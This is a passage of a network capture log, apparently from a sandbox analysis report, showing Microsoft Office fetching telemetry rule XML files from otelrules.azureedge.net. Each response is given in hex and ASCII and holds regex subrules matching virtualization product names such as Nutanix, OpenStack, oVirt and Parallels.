2024-10-24 14:05:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49829	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:29 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 8e6df999-101e-007a-77ef-24047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140529Z-15b8d89586fx2hlt035xdehq580000000eg000000000erbt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49830	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:29 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 9121e195-401e-005b-48f2-249c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140529Z-r197bdfb6b4kkrkjudg185sarw00000001yg000000004bcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49831	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:29 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140529Z-16849878b78fmrkt2ukpvh9wh400000007sg00000000bm0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49832	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:29 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:29 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 04ff5eee-d01e-0049-7af2-24e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140529Z-15b8d89586ffsjj9qb0gmb1stn000000035g00000000h0ah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:29 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49833	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:29 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:29 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:29 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 7cfbc72c-d01e-0082-6d55-22e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140529Z-16849878b78z5q7jpbgf6e9mcw00000007wg00000000cew5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:29 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49834	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:29 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:30 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 3e1aae04-d01e-00a1-06f2-2435b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140530Z-15b8d89586f2hk28h0h6zye26c00000001pg000000002w4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:30 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49835	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:30 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ee7a308c-c01e-00a1-620b-227e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140530Z-16849878b789m94j7902zfvfr000000007rg000000008z1k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49836	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:30 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:30 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: fc13fe58-401e-000a-0af3-244a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140530Z-15b8d89586fmhkw429ba5n22m800000000cg00000000186u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:31 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49837	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:30 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: b1315031-501e-000a-22f5-240180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140531Z-r197bdfb6b4sn8wg20e97vn7ps0000000pkg000000000trr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49839	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:31 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 25ee231e-901e-0083-60ac-24bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140531Z-15b8d89586fbt6nf34bm5uw08n0000000300000000009eca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49841	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:31 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: b12d28ce-501e-000a-62f4-240180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140531Z-15b8d89586frzkk2umu6w8qnt80000000e8g00000000bkwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49840	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:31 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
